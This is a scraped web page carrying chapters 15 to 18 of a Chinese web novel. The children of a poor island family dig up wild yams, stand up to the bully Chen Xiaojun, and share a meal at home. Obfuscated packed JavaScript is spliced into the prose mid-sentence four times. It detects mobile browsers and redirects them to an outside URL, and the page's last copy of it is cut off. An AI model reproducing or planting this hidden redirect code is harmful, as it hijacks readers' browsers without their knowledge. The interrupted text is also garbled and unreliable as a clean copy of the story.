沈灵宝站在树叶上,安安静静地看着,小脸上带着淡淡的笑。她没动手挖,只是时不时地指一指某个地方:“这儿还有一个。”“那边,往左一点。”“再往深挖两下。” 她指的地方,一挖一个准。有时候是指尖点一下,有时候是用脚轻轻踩两下,有时候甚至只是歪头看一眼。每一次,刨开的地方必定躺着一根山药,大的小的都有,但没有一根是坏的、烂的,个个饱满结实,像是专等着他们来挖似的。 不一会儿,几个孩子面前就堆了一小堆野山药——大大小小十几个,大的有拳头大,小的也有手指粗,灰扑扑的,沾满了泥巴,但个个饱满结实,没有一个歪瓜裂枣。 “够了够了!”沈铁柱兴奋得满脸通红,扭头看了陈小军一眼。 15. 找他们去! 陈小军还站在原地,脸上的表情精彩极了。先是震惊,眼睛瞪得跟铜铃似的;然后是不服气,嘴巴抿得紧紧的;接着是尴尬,耳根子都红了;最后变成了一种说不清道不明的复杂神色,又像是羡慕,又像是嫉妒,又像是想不通。他旁边那几个小孩也一个个灰溜溜的,刚才那股子嚣张劲儿全没了,有的低着头看自己的脚尖,有的偷偷咽口水,有的把手里的小山药蛋子往身后藏。 “这……这不可能……”陈小军结结巴巴地说,声音都变了调,“我们明明都挖过了,怎么你们一来就……这不对啊,这不公平……” 沈家这边没有一个人搭理他。 “小姑姑,这儿还有没有?”沈铁柱挖完了那块地,意犹未尽地问,手里还攥着一个刚挖出来的大山药,舍不得放下。 沈灵宝摇了摇头,又指了指旁边一块稍微高起来的地方。 沈铁柱走过去,在那块地方挖了几下—— 果然又挖出来一串! 这一窝更大,最大的那个比他的拳头还粗,胖乎乎的,拿在手里沉甸甸的,少说也有两三斤。一串下去,连着挖出来七八个,个个都是好货色,最大的那根都快赶上他小胳膊长了,黄褐色的皮上带着细细的根须,一看就是老山药,肉厚实得很。 “天哪……”沈铁柱看着面前那堆山药,嘴巴张得能塞下一个鸡蛋。 他数了数——大的小的加起来,少说也有二十来个,满满当当地堆在地上,跟座小山似的。最大的那根拿在手里沉得压手,最小的也比陈小军他们扔在地上的那些山药蛋子大两圈。 沈铁蛋蹲在那堆山药跟前,伸手摸了摸这个,又摸了摸那个,眼睛亮得跟星星似的,嘴里嘟囔着:“这么多……够咱家吃好几天的了……爹和爷爷今天挣了工分,咱们又挖了这么多山药,今天可真是个好日子……” 沈石墩蹲在旁边,小脸上全是泥巴,笑得露出两颗豁牙。沈木墩最兴奋,围着那堆山药转圈圈,嘴里喊着“山药山药,好多山药”,跑得跟个小陀螺似的。 陈小军彻底傻眼了。他身后那几个小孩也一个个瞪大了眼睛,有个小的甚至咽了咽口水。那可是山药啊,比野菜强了不知道多少倍的东西!这么大一堆,够沈家吃好几天了!要是煮成粥,稠稠的,那得是多香啊! 有个小孩忍不住小声说:“那么多山药……他们沈家这下可发了……” 另一个小孩也凑过来,压低声音:“你说他们会不会分咱们一点?咱好歹也在这儿挖过坑……” “分个屁!”陈小军瞪了他一眼,“你刚才还骂人家傻子呢,人家凭啥分给你?” 那个小孩缩了缩脖子,不敢吭声了。 “小军哥,”有个小孩拉了拉陈小军的袖子,小声说,“他们咋挖到那么多?咱们明明都挖过了,啥也没挖着,他们一来就……” 陈小军没说话,只是死死地盯着那堆山药,又看了看沈灵宝,眼神里满是困惑和不甘心。他实在想不明白,那片地他带着人翻了好几遍了,连边边角角都没放过,咋沈家的人一来就能挖出这么多?这不合理啊! 沈铁柱把山药往怀里一兜,站起身,拍了拍膝盖上的土。他看着陈小军那帮人,心里头那口气终于出了。他没说什么难听的话,只是冲他们笑了笑,那笑容里没有嘲讽,但比什么话都让人难受。 “走,回家!”他招呼弟弟们,抱着山药大步流星地往回走。 沈铁蛋、沈石墩、沈木墩跟在后头,一个个昂首挺胸的,跟打了胜仗似的。沈铁蛋还故意把手里那个最大的山药举得高高的,让谁都看得见。沈木墩太小抱不动,就拽着沈铁柱的衣角,一蹦一跳地跟在后面,嘴里还哼着不知道从哪儿学来的小调。 沈灵宝走在最后面,步子小小的,安安静静的,好像刚才那一切跟她没什么关系。她的小手插在兜里,低着头看路,绕过碎石和土坑,稳稳当当地跟着侄子们往回走。 陈小军站在原地,看着沈家孩子们远去的背影,脸上的表情变了又变。他身边几个小孩也都没说话,一个个蔫头耷脑的,跟霜打的茄子似的。 过了一会儿,有个小孩小声问:“小军哥,咱们要不要也去那边挖挖看?说不定还有剩下的……” “当然要去!”陈小军一挥手,声音大得有点过头,“那块地本来就是我们先发现的!要不是我们挖了那些坑,把土弄松了,他们能找到那个地方?走,去看看!” 他带着几个小孩跑到沈灵宝刚才指的那两块地方,蹲下来就挖。 可挖了半天——啥也没有。 第一块地,他们把坑又扩了一倍深,翻出来的全是沙土和碎石,连根山药毛都没见着。第二块地,也就是挖出最大那串山药的地方,他们把周围的土全翻了一遍,累得满头大汗,除了一根手指头粗的小山药蛋子,啥也没捞着。 “咋回事啊?”一个小孩擦着汗,满脸困惑,“明明他们挖的时候有那么多,咱们咋就挖不着?” 陈小军不信邪,又带着人把周围的几块地全翻了一遍。可翻来翻去,总共就挖出来三四根,还都是细细小小的,最大的那根还没他大拇指粗,干巴巴的,跟沈铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483528|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柱手里那个拳头大的比起来,简直没法看。 几个小孩蹲在地上,看着那几根可怜巴巴的小山药蛋子,一个个垂头丧气的。有个小孩把手里的山药蛋子往地上一扔,嘟囔道:“不挖了不挖了,累死个人,啥也挖不着。” 另一个小孩揉着磨红的手掌,委屈巴巴地说:“凭啥他们挖那么多,咱们挖不着?这不公平。” 陈小军把那些小山药蛋子往兜里一揣,站起来,拍了拍膝盖上的土,清了清嗓子,嘴硬道:“有啥了不起的?要不是我们先挖了那些坑,把土弄松了,他们能找到那个地方?那块地本来就是我们挖过的,他们就是捡了个现成的便宜!” 旁边一个小孩小声说:“可是他们挖的那个坑很深,我们都没挖到那个深度……” “那是你们没挖对地方!”陈小军瞪了他一眼,声音又大又急,“我跟你们说,那个位置就是我昨天挖过的,我当时就觉着底下有东西,只是天黑了没挖完。今天沈家的人就是顺着我挖的坑才挖到的!要不是我,他们连根毛都找不着!你们信不信?” 几个小孩你看看我,我看看你,有人信了,有人将信将疑,但谁也不敢反驳陈小军。毕竟他是这群孩子的头儿,谁也不想得罪他。 陈小军把那几根小山药蛋子往兜里揣好,又回头看了一眼沈家孩子们消失的方向,嘴里嘀咕了一句:“有啥了不起的……等我回去跟我舅舅说,看他怎么收拾你们……” 他说这话的时候声音不大,但语气里头那股子酸味儿,连他自己都闻得见。 陈小军嘴上说着要回去跟舅舅告状,脚底下却没动弹。他盯着沈铁柱他们越走越远的背影,兜里那几根小山药蛋子硌得他心里头火烧火燎的——凭啥?凭啥他们沈家那群懒虫能挖到那么多好东西? “小军哥,”旁边一个叫二狗的小孩凑过来,眼睛还盯着沈铁柱怀里那堆山药,咽了咽口水,“他们挖了那么多,咱就眼睁睁看着他们拿走了?” “就是!”另一个叫毛蛋的小孩也跟着起哄,“那片地可是咱们先挖的!要不是咱们把坑刨开了,他们能找到那地方?那山药按理说该是咱们的!” 几个小孩你一言我一语,越说越觉得有理,越说越不服气。陈小军听着听着,心里的火气也拱上来了。对啊,那片地是他带着人先挖的,那些山药本来就该是他的!沈铁柱他们算什么东西?凭啥捡这个便宜? “走!”陈小军把袖子一撸,下巴一抬,“找他们去!” 几个小孩呼啦啦地跟上去,一路小跑,很快就追上了沈家那群孩子。 16. 哎呀我天! “站住!”陈小军跑到跟前,伸手拦住了去路,气喘吁吁地喊了一声。 沈铁柱停下来,把怀里的山药抱紧了,看着陈小军,没说话。 “你们挖的那山药,”陈小军叉着腰,仰着下巴,尽量让自己看起来理直气壮些,“那块地是我们先挖的!要不是我们把坑刨开了,你们能找到那个地方?那些山药按理说该是我们的!” “就是就是!”二狗站在陈小军身后帮腔,“你们这是捡现成的便宜!把山药交出来!” 毛蛋也跟着喊:“交出来!见者有份!” 几个小孩围上来,伸着手,七嘴八舌地嚷嚷着要分山药。 沈铁蛋吓得往后退了一步,把怀里的山药护得更紧了。沈石墩躲到沈铁柱身后,小手攥着哥哥的衣角。沈木墩不太明白咋回事,但看见哥哥们紧张,也跟着缩着肩膀不敢动。 沈铁柱站在那儿,没退,也没往前。 他比陈小军高大半个头。同样是八九岁的孩子,沈铁柱个子窜得快,肩宽背厚,站在那儿跟个小牛犊子似的。陈小军虽然壮实,但矮了他一截,仰着头看他,气势上就先输了几分。 “你说那块地是你们的?”沈铁柱开口了,声音不大,但稳稳当当的,“那你们挖的时候,咋没挖出来?” 陈小军被噎了一下,梗着脖子说:“那那是我们还没挖到地方!你们就是顺着我们的坑才挖到的!” “坑是你们挖的,”沈铁柱说,“山药是我们挖出来的。你们要是能挖出来,早就挖走了,还能轮到我们?” “你——”陈小军被堵得说不出话来,脸涨得通红。 沈铁柱不紧不慢地又说了一句:“这岛上的地,是国家的,是集体的,不是你家的。谁挖着算谁的。” 这话说得在理,陈小军一时找不出话来反驳,但他不甘心。他往身后看了一眼——自己这边七八个人呢,沈家那边才四个半大的小子,外加一个小丫头片子。人数上自己这边占便宜,怕啥? “少废话!”陈小军把手一伸,“今天这山药,你们不给也得给!我们人多,你们人少,识相的就分一半出来!” 他说着,往前跨了一步,伸手就要去抓沈铁柱怀里的山药。 沈铁柱没躲。 他一只手抱着山药,另一只手抬起来,不轻不重地把陈小军的手拨开了。那一下力气不小,陈小军的手被拍得生疼,“啪”的一声脆响,在傍晚的空气里格外清楚。 “别动手。”沈铁柱说,声音还是不大,但那双眼睛盯着陈小军,里头没什么表情,可就是让人心里头发毛。 陈小军揉了揉被拍红的手背,愣了一下。他是这群孩子的头儿,平时谁见了他不得给几分面子?沈铁柱以前见了都是绕着走的,今天咋这么横? “你敢打我?”陈小军的火气蹭地蹿上来,又往前冲了一步。 这时候,沈铁蛋从沈铁柱身后站出来了。他比沈铁柱矮一点,但也比同龄人高半头,虎头虎脑的,瞪着眼睛站在哥哥旁边,把怀里的山药往地上一放,攥紧了拳头。 “你们想干啥?”沈铁蛋的声音还带着点稚气,但那股子护食的劲儿一点不含糊,“想抢东西?” 沈石墩也从后面钻出来了,学着哥哥们的样子,叉着腰站在那儿,脸绷得紧紧的,像个老虎崽子。他的架势摆出来了——我们沈家的兄弟,是站在一起的。 沈木墩不知道咋回事,但看见哥哥们都站出来了,他也从后面跑出来,站在最前面,伸开两只小胳膊,像只护食的小鸡崽,奶声奶气地喊了一句:“不许欺负我哥哥!” 四个小子,高矮不一,胖瘦不同,但齐刷刷地站在那儿,把沈灵宝挡在身后,把那堆山药挡在身后。沈铁柱站在最前面,比陈小军高大半个头,肩膀宽宽的,往那一站,跟堵墙似的。沈铁蛋站在他右边,沈石墩站在他左边,沈木墩虽然小,但站在最前面,小脸绷着,一点都不怯。 陈小军愣住了。 他往身后看了看,自己这边虽然人多,但都是些歪瓜裂枣,一个个瘦不拉几的,最高的那个也就跟他差不多高。再看沈家那边,光沈铁柱一个就比他高出一截,那身板,那肩膀,站在那儿跟个小大人似的,看着就不好惹。 而且沈家那几个小子,别看年纪小,一个个瞪着眼睛,攥着拳头,那架势是真敢打。陈小军心里头明白,真打起来,自己这边人多也不一定占便宜,沈铁柱那体格,一只手就能把他撂倒。 “你们……你们别嚣张!”陈小军的声音不自觉地矮了几分,“我回去告诉我舅舅去!让我舅舅把你们家的工分扣光!” 沈铁柱看着他,嘴角微微动了一下,不像是笑,倒像是不屑。 “你去告,”他说,“告完了,你舅舅问你为啥要抢人家的东西,你咋说?说你想抢山药没抢着?你看你舅舅是扣我家工分,还是先揍你一顿。” 陈小军的脸一下子白了。他舅舅沈德贵最烦的就是他在外面惹事,上回他跟人打架,舅舅把他吊在门框上抽了整整一下午,屁股肿得三天没坐下。要是让他知道今天是自己带人抢东西…… “我没抢!”陈小军嘴硬道,“我就是要你们分一半!那块地本来就是我们先挖的!” “我们挖出来的,凭啥分你?”沈铁柱一步都没让,“你要是好好说,分你两根也不是不行。但你带人来抢?一根都没有。” 沈铁蛋在旁边补了一句:“对!一根都没有!” 沈石墩也跟着喊:“没有!” 沈木墩不知道哥哥们在喊啥,但也跟着喊了一声:“没有!” 三个声音叠在一起,脆生生的,在傍晚的空气里格外响亮。 陈小军被噎得脸一阵红一阵白,嘴唇哆嗦了两下,想说啥又说不出来。他身后那几个小孩也一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483529|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个蔫了,刚才那股子起哄的劲儿全没了,有的往后退了两步,有的低着头不敢看沈铁柱。 二狗拉了拉陈小军的袖子,小声说:“小军哥,要不……算了吧,他们人少但个子高,真打起来咱打不过……” 毛蛋也跟着嘀咕:“就是就是,沈铁柱比你都高半个头呢,他弟弟也壮实,咱还是走吧……” 陈小军咬了咬牙,心里头又气又怕。气的是到嘴的鸭子飞了,怕的是真打起来自己吃亏。他瞪着沈铁柱看了好一会儿,沈铁柱也看着他,眼睛一眨不眨的,那眼神稳得不像个七岁的孩子,倒像个大人。 “算你狠!”陈小军终于扛不住了,狠狠地一跺脚,转身就走,“你们等着!这事儿没完!” 他跑了两步,又回过头来,指着沈铁柱喊了一句:“沈铁柱你给我记着!” 沈铁蛋冲他做了个鬼脸:“记着就记着!谁怕谁!” 陈小军气得脸都绿了,但脚下没停,带着那几个小孩灰溜溜地跑了。跑出去老远,还能听见二狗在说“小军哥你别生气了,他们沈家那帮人就是傻大个”之类的话。 沈铁柱看着他们跑远了,才把那口气松下来。他低头看了看怀里的山药,又看了看身边的弟弟们。 “没事了,”他说,“走,回家。” 沈铁蛋把地上的山药捡起来抱在怀里,嘿嘿笑了两声:“哥,你刚才可真厉害,往那一站,陈小军就不敢动了。” “就是就是,”沈石墩也跟着说,“哥比陈小军高那么多,他怕了!” 沈木墩不知道发生了啥,但听见哥哥们夸大哥,也跟着拍手:“哥哥厉害!哥哥厉害!” 沈铁柱被他们说得有点不好意思,挠了挠头,弯腰把小姑姑抱起来,让她趴在自己背上。 “行了行了,别拍了,赶紧走,天要黑了。” 沈铁蛋跟在旁边,扛着那堆山药,走得雄赳赳气昂昂的。沈石墩和沈木墩跟在后头,小短腿倒腾得飞快。沈灵宝骑在沈铁柱背上,两只小手抓着他的头发,咯咯地笑。 夕阳把他们的影子拉得老长,投在坑坑洼洼的土路上,一大串影子,高高低低的,歪歪扭扭的,但紧紧挨在一起。 灶房里已经飘出了饭香味儿,王秀莲站在院门口张望,看见孙子们回来了,刚要喊吃饭,就看见了沈铁蛋怀里那堆灰扑扑的东西。 “哎呀我的天!”王秀莲的声音一下子拔高了,“这是啥?山药?这么多山药?” 院子里,沈大帆、沈海生都出来了,一家人围着那堆山药,你看看我,我看看你,一个个眼睛都瞪得溜圆。 “这……这得有二十来斤吧?”沈海生蹲下来,拿起一个最大的山药,掂了掂,满脸不可思议,“在哪儿挖的?” “山坡脚下那片荒地,”沈铁蛋得意洋洋地说,“小姑姑带我们去的。陈小军他们在那儿挖了半天啥也没挖着!” 17. 这就对了! 灶房里的火又烧起来了。 王秀莲把那堆山药抱到灶台跟前,几个儿媳立刻围上来,叽叽喳喳地说个不停。 “娘,这山药真好啊,比地里种的都不差!”夏迎香拿起一个山药,在手里掂了掂,眼睛亮亮的,“你看这个头,长得还匀称,皮也光溜,一看就是好东西。” 赵文英蹲下来,把那堆山药一样一样地捡出来,大的放一堆,小的放一堆,嘴里啧啧有声:“这么多,少说也有二十斤!够咱家吃好几顿了!你们是不知道,我在娘家的时候,地里种的山药都没长这么好过,又细又小,跟手指头似的。” 佟娟儿把山药上的泥巴拍了拍,凑到鼻子跟前闻了闻,笑着说:“闻着就香,面面的那种香。娘,今晚咱咋吃?煮粥还是蒸着吃?” 王秀莲蹲在灶台前,一边往灶膛里添柴火,一边想了想:“蒸一部分,留一部分明天煮粥。山药耐放,剩下的找个阴凉地方存着,慢慢吃。这东西顶饱,比野菜强了不知道多少倍。” “那我去洗山药!”夏迎香麻利地端了一盆水,蹲在地上就开始洗。赵文英也凑过来帮忙,两个人一边洗一边嘀咕着这山药能放多久、怎么吃最划算。 佟娟儿把锅里添上水,又把昨天剩的海带切了些,准备煮一锅海带汤。她刀工利索,海带切得细细的,一根一根的,在案板上码得整整齐齐。 灶膛里的火苗舔着锅底,锅里的水咕嘟咕嘟地滚着。山药洗干净了,切成段,搁在锅里蒸。没一会儿,山药特有的香气就从锅盖缝里钻出来,甜甜的,面面的,勾得人肚子咕咕叫。 佟娟儿又把几个蛤蜊开了,扔进海带汤里提鲜。蛤蜊一进锅,那股子鲜味儿一下子就窜出来了,满灶房都是。 赵文英把灶台擦得干干净净,碗筷摆得整整齐齐,又去堂屋把那张缺了角的木桌子擦了一遍。夏迎香把几个板凳摆好,又从柜子里翻出两双筷子——筷子上面坑坑洼洼的,但洗得干干净净的。 蒸山药出锅的时候,全家人的眼睛都亮了。 锅盖一掀,一股白气腾地冒上来,带着山药特有的香甜味儿,往每个人鼻子里钻。山药蒸得透透的,皮都裂开了,露出里头白嫩嫩的肉,冒着热气,看着就面糊糊的。 王秀莲拿筷子夹了一块,放在嘴边吹了吹,先送到沈灵宝嘴边。 “来,尝尝。” 沈灵宝张大小嘴,咬了一口。山药面面的,在嘴里一抿就化了,带着一股子天然的甜味,不用嚼就能咽下去。她眼睛一下子亮了,小口小口地吃着,腮帮子鼓鼓的,吃得认真极了。 “好吃吗?”王秀莲蹲下来,笑着问她。 “好吃!”沈灵宝用力点头,嘴角沾着山药泥,笑得眼睛弯成月牙。她伸出小手,抓了一块山药,踮着脚尖往王秀莲嘴里塞,“娘也吃!” 王秀莲张嘴接住,嚼了嚼。那股子面面的甜味在舌尖上化开,软糯糯的,香喷喷的,真石好久没尝过的味道了。她鼻子一酸,差点掉下泪来。她赶紧别过头去,假装去拿碗筷,把那点湿意憋回去了。 沈海生坐在对面,一开始还绷着脸,吃了两块山药之后,脸色就好多了。他又吃了一块,喝了一碗海带汤,胃里暖洋洋的,舒服得他想叹气。他偷偷看了一眼他爹,又看了看安安静静吃饭的沈灵宝,心里头那点不痛快,早就被这一桌热乎乎的饭菜冲得没影了。 他想起他爹说的话——这村里头,有时候不讲法,讲的是人情。 他好像明白了一点,又好像没全明白。前世他是猎户,灾年前他一年大部分时间都窝在深山里,干的都是独来独往的事儿,除了爹娘兄弟,他跟村里其他乡亲们来往得少,很多打交道走人情的事情他都弄不明白,他这直来直往的性子也不想弄明白这些。 但他知道一件事:他爹做的,是对的。 而小妹——他看了看那个安安静静吃饭的小丫头,心里头涌上一股说不清道不明的情绪。他说不清楚那是什么,但他知道,无论是上辈子还是这辈子,这个家,有了她,就有盼头。 沈铁蛋坐在沈海生旁边,嘴里塞满了山药,含含糊糊地说:“奶奶,这山药比海带好吃多了!陈小军他们还说那块地啥也没有,结果小姑姑一指,我们就挖出来这么大一堆!你们没看见他们那个样子,眼睛都直了,哈哈哈——” 他说着说着又笑起来,笑得山药渣子差点从嘴里喷出来,被沈海生一巴掌拍在后脑勺上。 “行了行了,别光顾着笑,好好吃饭!嘴里有东西的时候别说话,呛着咋整?” 沈铁蛋揉了揉后脑勺,嘿嘿笑着,低头继续啃山药。 沈铁柱坐在他旁边,倒是吃得斯文些。他把山药掰成小块,一块一块地吃,一边吃一边琢磨事儿。他琢磨的不是山药的事儿,是陈小军那帮人的事儿。 “奶奶,”他咽下一口山药,抬起头来,“今天陈小军他们想抢咱们的山药,我把他怼回去了。你说他会不会真去找他舅舅告状?” 王秀莲愣了一下:“他想抢你们的东西?” “可不是嘛!”沈铁蛋又来了精神,把筷子往桌上一放,比划着说,“他们七八个人围上来,说要分一半,还说那块地是他们先挖的,山药该归他们。陈小军还伸手来抢,被我哥一巴掌把手拍回去了!” “然后呢?”夏迎香紧张地问。 “然后我们几个往那一站,”沈铁蛋挺起胸脯,学着沈铁柱的样子,叉着腰,“我哥比陈小军高半个头,往那一站跟堵墙似的,他就不敢动了!我跟我哥站一块儿,石墩也站出来了,连木墩都站出来了!我们四个站一排,把他们吓得屁滚尿流!” 沈铁蛋说得眉飞色舞,连比带划,把当时的情形添油加醋地说了一遍。说到陈小军被他哥一巴掌拍得手背通红的时候,他学陈小军那副又疼又气的样子,龇牙咧嘴的,把全家人逗得哈哈大笑。说到陈小军嘴硬说是自己挖的坑帮了忙,他又学着陈小军那副死要面子的模样,梗着脖子,下巴抬得老高,眼睛却心虚地到处乱瞟,学得活灵活现的。 沈石墩坐在旁边,也跟着点头:“对!木墩站在最前面,伸着胳膊说‘不许欺负我哥哥’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483530|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可厉害了!” 沈木墩被哥哥夸了,不好意思地缩了缩脖子,小脸埋在碗里,耳朵尖都红了。 沈铁柱被弟弟们说得有点不好意思,挠了挠头:“我就是往那一站,啥也没干。他们自己就跑了。” “这就对了,”沈大帆开口了,声音不大,但一桌子人都安静下来听他说话,“咱不欺负人,但也不能让人欺负了。你今天做得对,该硬的时候就得硬。你退一步,他们就敢进两步;你让一次,他们就觉得你好欺负。” 沈铁柱点了点头,把这话记在心里了。 晚饭结束,王秀莲把那堆山药又翻了一遍,挑出几个小的、破了皮的,打算今晚就吃掉。剩下的用破布包好,放在灶房角落里最阴凉的地方。她一边收拾一边念叨:“明天早上把山药切碎了煮粥,放点海带丝,再搁点盐,能熬一大锅。够全家人吃个饱。” 沈大帆站在院子里,看了看天。月亮从云层后面露出半张脸,惨白惨白的,照着这个破破烂烂的小院。院墙补了一半,还露着豁口;屋顶上压着新石头,风吹不动了;院子里晾着一排海带,在月光下黑乎乎的,像一排破布。 日子还是穷,穷得叮当响。但跟几天前比,已经好多了。 他想起今天在滩头上的事儿,想起何富花那张扭曲的脸,想起她骂的那些难听的话,想起大队长沈德贵看他的那个眼神——有惊讶,有打量,还有那么一点点说不清的东西。 他又想起他给何富花的那两张工分票。不是赔她,是情分。是让村里人看见——沈家不是那种冷心冷肺的人家。 沈海生从灶房里出来,走到他旁边站住了。父子俩谁也没说话,就那么站着,听海风呜呜地吹,听海浪哗哗地响。 过了好一会儿,沈海生开口了:“爹,我今天想明白了。” “想明白啥了?” “你说的那些话。人情,规矩,人心。”沈海生的声音闷闷的,“我以前在山里的时候,跟村里人打交道少,觉得这些东西麻烦。今儿我想了一天,算是想明白了一点,咱要在这个地方扎根,光靠干活不行,还得靠人心。” 沈大帆看了他一眼,没说话,但嘴角翘了一下。 沈海生又说:“不过何富花那个人,我觉得她不会领情。她那种人,你给她再多,她也觉得是应该的。说不定明天还得闹。” 沈大帆点了点头:“有可能。” “那咱咋办?” 沈大帆沉默了一会儿,说:“该干啥干啥。她闹她的,咱干咱的。日子长了,大家心里都有杆秤。” 沈海生点了点头,没再问了。 远处山坡那边,隐隐约约还能看见几个黑影,蹲在地上刨来刨去。那是陈小军那帮人,还在不死心地翻土呢。 灶房里的灯灭了,堂屋里的灯也灭了。沈家的小院安静下来,只有海风还在呜呜地吹,海浪还在哗哗地响。 灶房角落里,那堆山药安安静静地躺着,灰扑扑的,不起眼,但实打实的,沉甸甸的。那是十几斤粮食,是全家人好几天的饱饭。 18. 得弄粮食! 山药吃饱了,肚子不咕咕叫了,可沈大帆心里那根弦一直没松下来。 第二天天不亮他就醒了,躺在炕上把家里的账翻来覆去地算。十三口人,每天最少要五六斤粮食才够填肚子。海带管饱不管饿,山药再好也不能顿顿吃,这东西吃多了还烧心。家里那点家底,米缸刮得比脸还干净,盐罐子里就剩个底,油瓶子里连油星子都看不见。 他翻身坐起来,摸黑穿上鞋。 王秀莲在炕上翻了个身,迷迷糊糊地问:“又起这么早?” “睡不着,”沈大帆压低声音,“你再睡会儿。” 他推门出去,院子里还是黑的,天边只有一线灰蒙蒙的光。海风从海面上吹过来,带着咸腥的气息,凉飕飕地往脖子里灌。 沈大帆站在院子里,把这几天的家底在脑子里过了一遍。海带晒了满满一院子,够吃一阵子的;山药还有十来斤,省着点能吃个三四天。可这些东西都不顶饱,大人还好说,几个小的正是长身体的时候,光吃这些哪够? 得弄粮食。 可上哪儿弄? 他想起原主记忆里的那些事——石螺岛穷,穷得叮当响。岛上百来户人家,大半都吃不饱饭。家家户户的口粮都是按工分分的,一年到头分下来的那点粮食,紧巴着吃也就刚够糊口。像沈家这样倒欠工分的,年底连口粮都领不回来。 想买粮食?岛上没有供销社,最近的供销社在对面的石塘镇上,要坐船才能去。可坐船要船票,买粮食要钱要粮票,这两样他家一样都没有。 沈大帆皱了皱眉,走到院门口往外看。远处海面上黑沉沉的,什么都看不见。他听原主说过,石螺岛往东三十里有个大岛叫褚山岛,那边有码头有集市,还能停靠那种烧油的机帆船,出海能跑老远,一趟回来能拉满舱的鱼。岛上的人想换点什么东西,要么等每个月一次的通行船去石塘镇,要么冒险划自家的舢板去褚山岛。 舢板……沈大帆往海边方向看了一眼。原主家倒是有一条舢板,就搁在岸边的乱石滩上,烂得都快散架了,船底破了个洞,桨也断了一根,扔在那儿好几年没人管。 他正想着,堂屋里传来窸窸窣窣的声音。王秀莲披着衣裳出来了,手里端着个破碗,里头装着昨晚剩的半碗山药糊糊。 “当家的,先吃点东西,”她把碗递过来,“今天还有啥打算?” 沈大帆接过碗,喝了一口,糊糊凉了,有点腥气,但好歹能填肚子。“今天先把屋顶修好。之前冬生换回来的那捆茅草不够,还得再弄些。海生他们几个接着修院墙,那半截墙塌了不补上,跟没墙一样。” 王秀莲点了点头:“茅草的事儿我去办。我听说村东头的刘寡妇家去年囤了不少茅草,她男人没了之前请人修屋顶剩下的,一直堆在屋后头。我去问问,看能不能换一点。” 沈大帆看了她一眼:“刘寡妇?” “嗯,叫刘美芹,男人前年出海遇上风浪没回来,就剩她跟一个儿子。日子过得不容易,但人挺硬气的,从来不求人。”王秀莲顿了顿,“岛上有些人嘴碎,她不爱跟人来往,我去试试看。” 沈大帆没再多问。王秀莲办事他放心,前世在山里的时候,跟村里人打交道的事儿大半都是她在张罗。 吃完早饭,一家人各自忙开了。 沈海生带着两个弟弟去修院墙,把那半截塌了的土墙重新垒起来。沈冬生和沈富生接着补屋顶,先把昨天没盖完的地方盖上,再把那些破了的椽子换下来。 王秀莲从灶房里翻出几根山药,挑了几根个头大、品相好的,用破布包好,提着出了门。山药在缺粮食的岛上金贵,海带谁家都能捡一把,山药可是稀罕东西。 村东头刘寡妇家离沈家不算远,沿着海边那条石子路走一炷香的工夫就到。王秀莲一边走一边打量四周,这条路她没怎么走过,原主的记忆里也很少来这边。路边的人家比沈家那边强些,好歹院墙是完整的,屋顶也不漏风。 刘寡妇家的房子在路边一个小坡上,三间土坯房,收拾得比别家都整齐。院墙是用石头垒的,虽然不高但结结实实,院子里扫得干干净净,墙角堆着一小堆茅草,上头盖着块破油布。 王秀莲走到院门口,正要喊人,就听见里头传来说话声。 “刘美芹,你一个人带着孩子多不容易,我这不是好心帮你吗?你那屋顶漏了,我帮你修修,换你一捆茅草咋了?又不白拿你的!” 是个男人的声音,油腔滑调的,听着就不正经。 “不用。”一个女人的声音,冷冷的,硬邦邦的,“我家屋顶我自己能修,不劳你费心。你走吧。” “哎呀,你看你这话说的,乡里乡亲的,互相帮忙不是应该的吗?你男人没了,一个人拉扯孩子,多难啊。我这不是心疼你吗——” “我说了不用。”女人的声音更冷了,“你再不走我就喊人了。” “你喊啥呀?我又没把你咋地!好心当成驴肝肺——” 王秀莲皱了皱眉,扬声喊道:“刘美芹在家吗?” 院子里的声音一下子停了。 过了几秒钟,一个男人从院门口出来,三十来岁,长得油头粉面的,一看就不是什么正经人。他看见王秀莲站在门口,愣了一下,脸上有点挂不住,嘟囔了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 